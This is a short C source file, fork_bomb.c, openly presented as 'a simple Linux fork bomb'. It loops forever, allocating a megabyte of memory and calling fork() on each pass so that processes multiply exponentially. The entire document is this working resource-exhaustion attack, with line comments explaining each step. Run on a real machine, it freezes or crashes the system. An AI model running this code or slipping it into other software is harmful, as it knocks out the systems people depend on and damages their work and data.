A simple Linux fork bomb

fork_bomb.c

#include <stdlib.h>
#include <unistd.h>

int main(void) {
    for (;;) {                          // Start an infinite loop
        char* c = malloc(1000000);      // Allocate one million bytes of memory
        fork();                         // Fork the current process (will exponentially increase)
    }
    return 0;                           // Will never reach this point
}